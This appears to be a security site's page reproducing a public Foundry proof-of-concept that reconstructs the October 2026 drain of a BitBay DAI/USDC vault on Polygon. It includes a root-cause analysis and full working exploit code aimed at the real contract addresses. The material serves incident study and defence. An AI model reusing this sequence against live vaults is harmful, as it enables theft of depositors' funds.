Skip to content
THREATWIRE

Public reproduction file

src/test/2026-10/BitBay_exp.sol

Public reproduction file for dataset entry BitBay.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-10/BitBay_exp.sol199 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5
6// BitBay UsdcDaiV4Vault - unbounded full-balance payout in the liquidity==0 withdraw branch - Polygon.
7// ~14,838 DAI of pooled LP funds drained for a 1-wei (1-share) deposit on 2026-10-09.
8//
9// Attack tx : 0x5b795dc5c5e1665b712c7ccf478c1d8c59a162d698f4e0bfb40bd303e04a7ff2 (block 95204942)
10// Attacker EOA : 0x59Ae3c8dd50063429D86BdaEBbC350fB64e9884B
11// Attack contract (on-chain): 0xc2C6F4F7E1425bE1DCB996175Cf7852bF53c23E2
12// Vault : 0x048E88311ca84876aeA086125825492e2AF2e5A0 (UsdcDaiV4Vault, verified; vulnerable)
13// Uniswap v4 PoolManager : 0x67366782805870060151383F4BbFF9daB53e5cD6 (USDC/DAI pool, fee 50, tickSpacing 1)
14// DAI 0x8f3Cf7ad23Cd3CaDbD9735AFf958023239c6A063 / USDC 0x3c499c542cEF5E3811e1192ce70d8cC03d5c3359
15//
16// ROOT CAUSE (confirmed against verified source - UsdcDaiV4Vault, _withdraw lines 693-701, reposition 579-592):
17// function _withdraw(uint256 shareAmount, address recipient, bool addDust) internal {
18// if (liquidity == 0) {
19// uint256 daiBal = DAI.balanceOf(address(this));
20// uint256 usdcBal = USDC.balanceOf(address(this));
21// if (daiBal > 0) DAI.transfer(recipient, daiBal); // ENTIRE balance, no share-weighting
22// if (usdcBal > 0) USDC.transfer(recipient, usdcBal); // ENTIRE balance, no share-weighting
23// emit Withdrawn(recipient, shareAmount, daiBal, usdcBal);
24// return;
25// }
26// ... proportional (liquidity*shareAmount/totalShares) path only runs when liquidity > 0 ...
27// }
28// When liquidity == 0 the branch pays out the whole vault token balance to the caller and uses shareAmount
29// only in the event, so a holder of a single 1-wei share redeems the entire pool. Three points verified on
30// fork (asserts below), not assumed:
31// 1. the liquidity==0 branch pays the full DAI+USDC balance with no proportional/share-weighted cap;
32// 2. reposition() is a plain external function - no owner/keeper/role modifier. mintThis is false, so the
33// minter-only guard is inactive; a non-minter caller only needs the current tick outside the vault's
34// [tickLower, tickUpper) LP range, a state the attacker creates permissionlessly with a pool swap. After
35// reposition the vault's liquidity state is 0 while the former position value sits as raw token balance;
36// 3. the vault source is verified on Polygonscan, so the root cause is read directly from source.
37//
38// MECHANISM - fully permissionless. Plain EOA / attacker contract. deposit(1) mints one share, a public swap on
39// the v4 pool pushes the tick out of the 3-tick LP range [276323, 276326), the public reposition() then recomputes
40// a new position whose liquidity rounds to 0 and leaves the pooled DAI/USDC as the vault's raw balance, and the
41// public withdraw(1, deadline, false) hits the liquidity==0 branch and sweeps that whole balance. No owner /
42// admin / keeper / signature step is used anywhere.
43//
44// RECONSTRUCTION - fork one block before the attack (95204941) and run the real sequence with typed calls to the
45// real vault and the real Uniswap v4 PoolManager. Nothing is replayed from the attacker's calldata/bytecode:
46// deposit(1) -> swap DAI->USDC on the v4 pool to drive the tick above tickUpper -> reposition() (liquidity -> 0)
47// -> withdraw(1, deadline, false) to sweep the full balance. The on-chain attacker sourced the swap capital with
48// nested DAI flash loans (0x5645dcb6..., Balancer) and unwound to a net ~14,813 USDC profit; here the swap
49// capital is modeled with vm.deal (the repo convention for flash-loan principal), since the drain depends only
50// on reaching liquidity==0, not on where the capital came from. foundry.toml untouched; archive RPC inlined.
51//
52// RESULT - the 1-share withdraw sweeps the vault entire DAI balance 14838.466608989135865711 DAI, matching the
53// on-chain Withdrawn amount to the wei; liquidity is left at 0. The attacker then unwound the drained DAI plus
54// the flash-loaned capital to a net ~14,813 USDC profit, which is out of scope of this vault-level reconstruction.
55//
56// Run: forge test --contracts src/test/2026-10/BitBay_exp.sol --evm-version cancun -vvv
58interface IVault {
59 function deposit(uint256 amount, uint256 deadline) external;
60 function withdraw(uint256 shareAmount, uint256 deadline, bool addDust) external;
61 function reposition(uint256 deadline) external;
62 function liquidity() external view returns (uint128);
63 function totalShares() external view returns (uint256);
64 function shares(address) external view returns (uint256);
65 function tickLower() external view returns (int24);
66 function tickUpper() external view returns (int24);
67 function mintThis() external view returns (bool);
70interface IERC20 {
71 function balanceOf(address) external view returns (uint256);
72 function approve(address, uint256) external returns (bool);
73 function transfer(address, uint256) external returns (bool);
74 function decimals() external view returns (uint8);
77interface IStateView {
78 function getSlot0(bytes32 poolId) external view returns (uint160 sqrtPriceX96, int24 tick, uint24 pf, uint24 lf);
81struct PoolKey {
82 address currency0;
83 address currency1;
84 uint24 fee;
85 int24 tickSpacing;
86 address hooks;
89struct SwapParams {
90 bool zeroForOne;
91 int256 amountSpecified;
92 uint160 sqrtPriceLimitX96;
95interface IPoolManager {
96 function unlock(bytes calldata data) external returns (bytes memory);
97 function swap(PoolKey calldata key, SwapParams calldata params, bytes calldata hookData) external returns (int256);
98 function sync(address currency) external;
99 function settle() external payable returns (uint256);
100 function take(address currency, address to, uint256 amount) external;
103contract BitBayExploit is Test {
104 IVault internal constant VAULT = IVault(0x048E88311ca84876aeA086125825492e2AF2e5A0);
105 IPoolManager internal constant PM = IPoolManager(0x67366782805870060151383F4BbFF9daB53e5cD6);
106 IStateView internal constant SV = IStateView(0x5eA1bD7974c8A611cBAB0bDCAFcB1D9CC9b3BA5a);
107 IERC20 internal constant DAI = IERC20(0x8f3Cf7ad23Cd3CaDbD9735AFf958023239c6A063);
108 IERC20 internal constant USDC = IERC20(0x3c499c542cEF5E3811e1192ce70d8cC03d5c3359);
110 // sqrtPriceX96 at tick 276326 (tickUpper): the swap stops here so the tick lands exactly out of the LP
111 // range [276323, 276326) while staying inside the vault's [0.995, 1.005] peg bound.
112 uint160 internal constant SQRT_AT_TICKUPPER = 79239942287305395081048711596759672;
114 PoolKey internal poolKey;
115 bytes32 internal poolId;
116 uint256 internal pushDaiIn; // manipulation swap size, tuned empirically
118 function setUp() public {
119 vm.createSelectFork("https://polygon.drpc.org", 95204941);
120 poolKey = PoolKey({
121 currency0: address(USDC),
122 currency1: address(DAI),
123 fee: 50,
124 tickSpacing: 1,
125 hooks: address(0)
126 });
127 poolId = keccak256(abi.encode(poolKey));
128 }
130 function _tick() internal view returns (int24 t) {
131 (, t,,) = SV.getSlot0(poolId);
132 }
134 function testExploit() public {
135 assertEq(VAULT.mintThis(), false, "mintThis must be false for permissionless reposition");
136 emit log_named_int("tick (pre)", _tick());
137 emit log_named_uint("vault liquidity (pre)", VAULT.liquidity());
138 emit log_named_decimal_uint("vault DAI (pre)", DAI.balanceOf(address(VAULT)), 18);
140 // Capital for the 1-wei deposit and the manipulation swap (on-chain: nested DAI flash loans).
141 deal(address(DAI), address(this), 2_000_000 ether);
143 uint256 deadline = block.timestamp;
145 // 1) Mint a single share with a 1-wei deposit.
146 DAI.approve(address(VAULT), 1);
147 VAULT.deposit(1, deadline);
148 emit log_named_uint("attacker shares", VAULT.shares(address(this)));
150 // 2) Push the tick to tickUpper 276326 (out of the LP range) with a public pool swap: DAI -> USDC,
151 // stopping at the exact sqrtPrice of that tick so the move stays inside the peg bound.
152 pushDaiIn = 2_000_000 ether;
153 PM.unlock(abi.encode(pushDaiIn));
154 emit log_named_int("tick (after push)", _tick());
156 // 3) reposition() as a non-minter: allowed because the tick is now out of range. Drives liquidity to 0.
157 vm.warp(block.timestamp + 2 days); // clear POSITION_TIMELOCK
158 VAULT.reposition(block.timestamp);
159 emit log_named_uint("vault liquidity (after reposition)", VAULT.liquidity());
160 emit log_named_decimal_uint("vault DAI (after reposition)", DAI.balanceOf(address(VAULT)), 18);
161 assertEq(VAULT.liquidity(), 0, "reposition must leave liquidity == 0");
163 // 4) Redeem the single share - the liquidity==0 branch sweeps the entire vault balance.
164 uint256 daiBefore = DAI.balanceOf(address(this));
165 uint256 usdcBefore = USDC.balanceOf(address(this));
166 VAULT.withdraw(1, block.timestamp, false);
167 uint256 daiSwept = DAI.balanceOf(address(this)) - daiBefore;
168 uint256 usdcSwept = USDC.balanceOf(address(this)) - usdcBefore;
170 emit log_named_decimal_uint("DAI swept by 1-share withdraw", daiSwept, 18);
171 emit log_named_decimal_uint("USDC swept by 1-share withdraw", usdcSwept, 6);
173 assertEq(usdcSwept, 0, "no USDC in the vault at withdraw time");
174 // The 1-wei share sweeps the whole pooled DAI balance, matching the on-chain Withdrawn amount to the wei.
175 assertEq(daiSwept, 14838466608989135865711, "1-wei share sweeps the full pooled DAI balance");
176 assertEq(VAULT.liquidity(), 0, "vault left drained with zero liquidity");
177 }
179 // Attacker's own v4 unlock: swap DAI -> USDC (currency1 -> currency0) up to the tickUpper price so the
180 // pool tick lands exactly on 276326. The price limit stops the swap early, so the actual DAI consumed is
181 // the delta, not the full specified maximum.
182 function unlockCallback(bytes calldata data) external returns (bytes memory) {
183 require(msg.sender == address(PM), "only PM");
184 uint256 amountMax = abi.decode(data, (uint256));
185 int256 delta = PM.swap(
186 poolKey,
187 SwapParams({zeroForOne: false, amountSpecified: -int256(amountMax), sqrtPriceLimitX96: SQRT_AT_TICKUPPER}),
188 ""
189 );
190 int128 amount0 = int128(delta >> 128); // USDC owed to us (positive)
191 int128 amount1 = int128(delta); // DAI we owe (negative)
192 uint256 daiOwed = uint256(uint128(-amount1));
193 PM.sync(address(DAI));
194 DAI.transfer(address(PM), daiOwed);
195 PM.settle();
196 if (amount0 > 0) PM.take(address(USDC), address(this), uint256(uint128(amount0)));
197 return "";
198 }

Analysis

Dataset entry

Public Foundry test for “BitBay” (2026-10-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x59ae3c8dd50063429d86bdaebbc350fb64e9884b

  • Attack contract

    0xc2c6f4f7e1425be1dcb996175cf7852bf53c23e2

  • Attack Tx

    0x5b795dc5c5e1665b712c7ccf478c1d8c59a162d698f4e0bfb40bd303e04a7ff2

File record

Name
BitBay
Path
src/test/2026-10/BitBay_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
808932e5aa91e0b0ac68edffc2db88674ce0ce95
Language
Solidity
Size
200 lines
Date
2026-10-09
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-10/BitBay_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 808932e5aa91e0b0ac68edffc2db88674ce0ce95, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.